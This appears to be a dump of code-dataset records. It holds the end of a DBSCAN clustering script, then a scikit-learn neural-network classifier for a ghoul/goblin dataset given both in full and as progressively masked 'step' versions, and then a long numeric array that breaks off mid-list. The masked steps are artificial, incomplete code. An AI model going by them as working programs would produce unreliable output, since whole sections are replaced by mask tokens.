"step-5": "import numpy as np \nimport sklearn.cluster as sc \nimport sklearn.metrics as sm \nimport matplotlib.pyplot as mp \n\nx = np.loadtxt('C:\\\\Users\\\\Administrator\\\\Desktop\\\\sucai\\\\ml_data\\\\perf.txt', delimiter=',')\n\n# 准备训练模型相关数据\nepsilons, scores, models = np.linspace(0.3, 1.2, 10), [], []\n\n# 遍历所有的半径，训练模型，查看得分\nfor epsilon in epsilons:\n model = sc.DBSCAN(eps=epsilon, min_samples=5)\n model.fit(x)\n score = sm.silhouette_score(x, model.labels_, sample_size=len(x), metric='euclidean')\n scores.append(score)\n models.append(model)\n\n# 转成ndarray数组\nscores = np.array(scores)\nbest_i = scores.argmax() # 最优分数\nbest_eps = epsilons[best_i]\nbest_sco = scores[best_i]\n\n# 获取最优模型\nbest_model = models[best_i]\n# 对输入x进行预测得到预测类别\npred_y = best_model.fit_predict(x)\n# 获取孤立样本，外周样本，核心样本\ncore_mask = np.zeros(len(x), dtype=bool)\n# 获取核心样本的索引，把对应位置的元素改为True\ncore_mask[best_model.core_sample_indices_] = True\n# 孤立样本的类别标签为-1\noffset_mask = best_model.labels_ == -1\n# 外周样本掩码(不是核心也不是孤立样本)\np_mask = ~(core_mask | offset_mask)\n# 绘制这些样本数据\nmp.figure('DBSCAN cluster', facecolor='lightgray')\nmp.title('DBSCAN cluster', fontsize=16)\nmp.xlabel('x', fontsize=14)\nmp.ylabel('y', fontsize=14)\nmp.tick_params(labelsize=10)\n# 绘制核心样本\nmp.scatter(x[core_mask][:, 0], x[core_mask][:, 1], s=60, cmap='brg', c=pred_y[core_mask])\n# 绘制外周样本\nmp.scatter(x[p_mask][:, 0], x[p_mask][:, 1], s=60, cmap='brg', c=pred_y[p_mask], alpha=0.5)\n# 绘制孤立样本\nmp.scatter(x[offset_mask][:, 0], x[offset_mask][:, 1], s=60, c='gray')\nmp.show()",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
import pandas
import numpy as np
train_set = pandas.read_csv("./dataset/train.csv")
test_set = pandas.read_csv("./dataset/test.csv")
print(train_set)
train_set = train_set.drop('id',axis=1)
print(train_set.describe())
train_set['type'], categories = train_set['type'].factorize()
import matplotlib.pyplot as plt
print(train_set.info())
'''
fig = plt.figure(figsize=(10,5))
ax = fig.add_subplot(111)
cax = ax.matshow(train_set.corr())
fig.colorbar(cax)
ax.set_xticklabels(train_set.columns)
ax.set_yticklabels(train_set.columns)
plt.show()'''
X_train = train_set.drop('type',axis=1)
y_train = train_set.get('type')
X_train= X_train.append(test_set)
#print(X_train.info())
from sklearn.base import BaseEstimator, TransformerMixin
class CreateExtraFeatures(BaseEstimator,TransformerMixin):
def __init__(self):pass
def fit(self,X,y=None):
return self
def transform(self,X,y=None):
X['hair_soul'] = X['hair_length'] * X['has_soul']
X['flesh_soul'] = X['rotting_flesh'] * X['has_soul']
return np.c_[X]
class DataFrameSelector(BaseEstimator, TransformerMixin):
def __init__(self, attribute_names):
self.attribute_names = attribute_names
def fit(self, X, y=None):
return self
def transform(self, X):
return X[self.attribute_names]
from sklearn.pipeline import Pipeline
from sklearn.preprocessing import OneHotEncoder
num_attributes = ["bone_length","rotting_flesh","hair_length","has_soul"]
cat_attributes = ["color"]
pipeline_num = Pipeline([
("selector",DataFrameSelector(num_attributes)),
("extra_feat",CreateExtraFeatures())
])
pipeline_cat = Pipeline([
("selector", DataFrameSelector(cat_attributes)),
("categorical_encoder", OneHotEncoder(sparse=False))
])
from sklearn.pipeline import FeatureUnion
full_pipeline = FeatureUnion([
("pip,num",pipeline_num),
("pip_cat",pipeline_cat)
])
X_train= full_pipeline.fit_transform(X_train)
X_test = X_train[371:]
X_train = X_train[:371]
from sklearn.neural_network import MLPClassifier
nn_clf = MLPClassifier(max_iter=3000)
from sklearn.model_selection import GridSearchCV
grid_params = [{"hidden_layer_sizes":range(3,20), "activation":['identity', 'logistic', 'tanh', 'relu'], "solver":["lbfgs","sgd","adam"],"learning_rate":["adaptive"]}]
grid_search = GridSearchCV(nn_clf,param_grid=grid_params,cv=3,verbose=3, n_jobs=-1)
grid_search.fit(X_train,y_train)
print(grid_search.best_estimator_)
print(grid_search.best_score_)
#X_test = full_pipeline.fit_transform(test_set[num_attributes],test_set[cat_attributes].values)
y_pred = grid_search.predict(X_test)
submissions = pandas.DataFrame(y_pred, index=test_set.id,columns=["type"])
submissions["type"] = categories[submissions["type"]]
submissions.to_csv('submission.csv', index=True)
|
normal
|
{
"blob_id": "ccedca543fc4dee284a9243317d028ffdeac229d",
"index": 2923,
"step-1": "<mask token>\n\n\nclass CreateExtraFeatures(BaseEstimator, TransformerMixin):\n <mask token>\n <mask token>\n\n def transform(self, X, y=None):\n X['hair_soul'] = X['hair_length'] * X['has_soul']\n X['flesh_soul'] = X['rotting_flesh'] * X['has_soul']\n return np.c_[X]\n\n\nclass DataFrameSelector(BaseEstimator, TransformerMixin):\n\n def __init__(self, attribute_names):\n self.attribute_names = attribute_names\n\n def fit(self, X, y=None):\n return self\n\n def transform(self, X):\n return X[self.attribute_names]\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\nclass CreateExtraFeatures(BaseEstimator, TransformerMixin):\n\n def __init__(self):\n pass\n\n def fit(self, X, y=None):\n return self\n\n def transform(self, X, y=None):\n X['hair_soul'] = X['hair_length'] * X['has_soul']\n X['flesh_soul'] = X['rotting_flesh'] * X['has_soul']\n return np.c_[X]\n\n\nclass DataFrameSelector(BaseEstimator, TransformerMixin):\n\n def __init__(self, attribute_names):\n self.attribute_names = attribute_names\n\n def fit(self, X, y=None):\n return self\n\n def transform(self, X):\n return X[self.attribute_names]\n\n\n<mask token>\n",
"step-3": "<mask token>\nprint(train_set)\n<mask token>\nprint(train_set.describe())\n<mask token>\nprint(train_set.info())\n<mask token>\n\n\nclass CreateExtraFeatures(BaseEstimator, TransformerMixin):\n\n def __init__(self):\n pass\n\n def fit(self, X, y=None):\n return self\n\n def transform(self, X, y=None):\n X['hair_soul'] = X['hair_length'] * X['has_soul']\n X['flesh_soul'] = X['rotting_flesh'] * X['has_soul']\n return np.c_[X]\n\n\nclass DataFrameSelector(BaseEstimator, TransformerMixin):\n\n def __init__(self, attribute_names):\n self.attribute_names = attribute_names\n\n def fit(self, X, y=None):\n return self\n\n def transform(self, X):\n return X[self.attribute_names]\n\n\n<mask token>\ngrid_search.fit(X_train, y_train)\nprint(grid_search.best_estimator_)\nprint(grid_search.best_score_)\n<mask token>\nsubmissions.to_csv('submission.csv', index=True)\n",
"step-4": "<mask token>\ntrain_set = pandas.read_csv('./dataset/train.csv')\ntest_set = pandas.read_csv('./dataset/test.csv')\nprint(train_set)\ntrain_set = train_set.drop('id', axis=1)\nprint(train_set.describe())\ntrain_set['type'], categories = train_set['type'].factorize()\n<mask token>\nprint(train_set.info())\n<mask token>\nX_train = train_set.drop('type', axis=1)\ny_train = train_set.get('type')\nX_train = X_train.append(test_set)\n<mask token>\n\n\nclass CreateExtraFeatures(BaseEstimator, TransformerMixin):\n\n def __init__(self):\n pass\n\n def fit(self, X, y=None):\n return self\n\n def transform(self, X, y=None):\n X['hair_soul'] = X['hair_length'] * X['has_soul']\n X['flesh_soul'] = X['rotting_flesh'] * X['has_soul']\n return np.c_[X]\n\n\nclass DataFrameSelector(BaseEstimator, TransformerMixin):\n\n def __init__(self, attribute_names):\n self.attribute_names = attribute_names\n\n def fit(self, X, y=None):\n return self\n\n def transform(self, X):\n return X[self.attribute_names]\n\n\n<mask token>\nnum_attributes = ['bone_length', 'rotting_flesh', 'hair_length', 'has_soul']\ncat_attributes = ['color']\npipeline_num = Pipeline([('selector', DataFrameSelector(num_attributes)), (\n 'extra_feat', CreateExtraFeatures())])\npipeline_cat = Pipeline([('selector', DataFrameSelector(cat_attributes)), (\n 'categorical_encoder', OneHotEncoder(sparse=False))])\n<mask token>\nfull_pipeline = FeatureUnion([('pip,num', pipeline_num), ('pip_cat',\n pipeline_cat)])\nX_train = full_pipeline.fit_transform(X_train)\nX_test = X_train[371:]\nX_train = X_train[:371]\n<mask token>\nnn_clf = MLPClassifier(max_iter=3000)\n<mask token>\ngrid_params = [{'hidden_layer_sizes': range(3, 20), 'activation': [\n 'identity', 'logistic', 'tanh', 'relu'], 'solver': ['lbfgs', 'sgd',\n 'adam'], 'learning_rate': ['adaptive']}]\ngrid_search = GridSearchCV(nn_clf, param_grid=grid_params, cv=3, verbose=3,\n n_jobs=-1)\ngrid_search.fit(X_train, y_train)\nprint(grid_search.best_estimator_)\nprint(grid_search.best_score_)\ny_pred = grid_search.predict(X_test)\nsubmissions = pandas.DataFrame(y_pred, index=test_set.id, columns=['type'])\nsubmissions['type'] = categories[submissions['type']]\nsubmissions.to_csv('submission.csv', index=True)\n",
"step-5": "import pandas\nimport numpy as np\n\ntrain_set = pandas.read_csv(\"./dataset/train.csv\")\ntest_set = pandas.read_csv(\"./dataset/test.csv\")\nprint(train_set)\ntrain_set = train_set.drop('id',axis=1)\nprint(train_set.describe())\n\ntrain_set['type'], categories = train_set['type'].factorize()\n\nimport matplotlib.pyplot as plt\nprint(train_set.info())\n'''\nfig = plt.figure(figsize=(10,5))\nax = fig.add_subplot(111)\ncax = ax.matshow(train_set.corr())\nfig.colorbar(cax)\n\nax.set_xticklabels(train_set.columns)\nax.set_yticklabels(train_set.columns)\n\nplt.show()'''\n\nX_train = train_set.drop('type',axis=1)\ny_train = train_set.get('type')\nX_train= X_train.append(test_set)\n#print(X_train.info())\n\nfrom sklearn.base import BaseEstimator, TransformerMixin\n\nclass CreateExtraFeatures(BaseEstimator,TransformerMixin):\n def __init__(self):pass\n\n def fit(self,X,y=None):\n return self\n def transform(self,X,y=None):\n X['hair_soul'] = X['hair_length'] * X['has_soul']\n X['flesh_soul'] = X['rotting_flesh'] * X['has_soul']\n return np.c_[X]\n\nclass DataFrameSelector(BaseEstimator, TransformerMixin):\n def __init__(self, attribute_names):\n self.attribute_names = attribute_names\n def fit(self, X, y=None):\n return self\n def transform(self, X):\n return X[self.attribute_names]\n\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.preprocessing import OneHotEncoder\nnum_attributes = [\"bone_length\",\"rotting_flesh\",\"hair_length\",\"has_soul\"]\ncat_attributes = [\"color\"]\n\npipeline_num = Pipeline([\n (\"selector\",DataFrameSelector(num_attributes)),\n (\"extra_feat\",CreateExtraFeatures())\n])\n\npipeline_cat = Pipeline([\n (\"selector\", DataFrameSelector(cat_attributes)),\n (\"categorical_encoder\", OneHotEncoder(sparse=False))\n])\n\nfrom sklearn.pipeline import FeatureUnion\n\nfull_pipeline = FeatureUnion([\n (\"pip,num\",pipeline_num),\n (\"pip_cat\",pipeline_cat)\n])\nX_train= full_pipeline.fit_transform(X_train)\n\nX_test = X_train[371:]\nX_train = X_train[:371]\nfrom sklearn.neural_network import MLPClassifier\n\nnn_clf = MLPClassifier(max_iter=3000)\n\nfrom sklearn.model_selection import GridSearchCV\n\ngrid_params = [{\"hidden_layer_sizes\":range(3,20), \"activation\":['identity', 'logistic', 'tanh', 'relu'], \"solver\":[\"lbfgs\",\"sgd\",\"adam\"],\"learning_rate\":[\"adaptive\"]}]\ngrid_search = GridSearchCV(nn_clf,param_grid=grid_params,cv=3,verbose=3, n_jobs=-1)\n\ngrid_search.fit(X_train,y_train)\n\nprint(grid_search.best_estimator_)\nprint(grid_search.best_score_)\n\n#X_test = full_pipeline.fit_transform(test_set[num_attributes],test_set[cat_attributes].values)\n\n\n\ny_pred = grid_search.predict(X_test)\n\nsubmissions = pandas.DataFrame(y_pred, index=test_set.id,columns=[\"type\"])\nsubmissions[\"type\"] = categories[submissions[\"type\"]]\nsubmissions.to_csv('submission.csv', index=True)\n",
"step-ids": [
6,
8,
9,
10,
12
]
}
|
[
6,
8,
9,
10,
12
] |
vect = [0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0,
5.723585101952381, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0,
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0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 2.1972245773362196, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, \n 1.0986122886681098, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, \n 3.9512437185814275, 0.0, 0, 0, 0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 2.1972245773362196, 0, 0.0, 0, 0.0, 3.2188758248682006, 0.0, 0, 0,\n 0, 3.1354942159291497, 3.800574088041945, 0, 0.0, 0.0, 0.0, 0, \n 4.969640753475787, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, \n 1.791759469228055, 0.0, 0.0, 0.0, 0.0, 0, 4.631631038266565, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0, 0.0, 2.833213344056216, 0, 0, 0.0, 0.0, 0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 2.3978952727983707, 0, 0, \n 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0,\n 0.0, 0, 3.3322045101752034, 0.0, 0.0, 3.8918202981106265, 0, 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0.0, 0.0, 0.0, 0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0, 0, \n 1.6094379124341003, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0, 0.0, 0.0, 0.0, 0, 2.4849066497880004, 2.0794415416798357, 0.0, \n 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0, \n 1.0986122886681098, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 2.3978952727983707, 0.0, 0.0, \n 0.0, 0.0, 5.780743515792329, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 2.1972245773362196, 0.0, 1.7412592803704001, 0.0, 0,\n 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 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2.9444389791664403, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0, 0.0, 0.0, 0, 0.0, 0.0, 0, 0.0, 0.0, 2.3978952727983707, 0, \n 3.58351893845611, 0.0, 0.0, 0, 3.7369991058576035, 0.0, \n 4.02535169073515, 0.0, 0.0, 0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, \n 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 2.4849066497880004, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0, \n 0.0, 3.0841946160253877, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 3.2958368660043296, 0.0, 0.0, 0.0, 0, 0.0, 0.0, \n 1.3862943611198906, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 4.182806904693497, \n 3.2188758248682006, 0.0, 0.0, 0.0, 0.0, 0.0, 2.70805020110221, 0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 2.302585092994046, 0, 2.70805020110221, 0, 0, 0, \n 0.0, 10.484135188312967, 7.275172319452771, 0.0, 0, 3.0841946160253872,\n 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, \n 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, \n 0.0, 0, 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0.0,\n 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, \n 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, \n 3.295836866004329, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 1.0986122886681098, 0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 2.995732273553991,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 1.0986122886681098, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, \n 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0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0, 0.0, \n 0.0, 0.0, 0, 0.0, 0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 1.6094379124341003, 0.0, 0.0, 0.0, 0.0, 6.9558749307258045, \n 2.9444389791664403, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0, 0, 3.295836866004329, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0, \n 2.302585092994046, 0.0, 1.3862943611198906, 0, 0, 0, 0, 0.0, 0.0, \n 2.5649493574615367, 0.0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0, 0.0, 0.0, 0.0, 4.770684624465665, 0, 0, 0.0, 0, 0.0, 0.0, \n 5.723585101952381, 0.0, 0.0, 0.0, 0.0, 0, 1.791759469228055, 0.0, 0.0, \n 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0, 0.0, 3.3322045101752034, 0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 3.8066624897703196, 0, 0.0, 0, 0, 0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0, 0.0, 0.0, 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0.0, 0.0, 0.0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0,\n 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 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0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0, 0.0,\n 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.3862943611198906, 0.0, 0.0, 0.0, \n 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 1.3862943611198906, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 3.6109179126442243, 0, 0.0, 0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, \n 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0, 0.0, \n 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 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0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 2.833213344056216, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0, 0.0, 0.0,\n 0.0, 0.0, 0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0, 1.7412592803704001, 0.0, 2.4849066497880004, 0.0, 1.791759469228055,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0, 0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0, \n 0.0, 2.0794415416798357, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 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0.0, 0.0, 0.0, 0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0, 0.0,\n 0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0, 0.0, 2.70805020110221, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0, 0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0,\n 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 3.8918202981106265, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0, \n 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0,\n 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 3.5263605246161616, 0.0, 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0.0, 0.0, 0.0, 0.0, 0.0, 5.662960480135945, 0.0, 0.0, 0.0, 0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0, \n 0.0, 0, 0.0, 0, 0, 0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.6931471805599453, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0,\n 0.0, 0, 0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0.0,\n 3.044522437723423, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 2.5649493574615367, 0.0, 0.0, 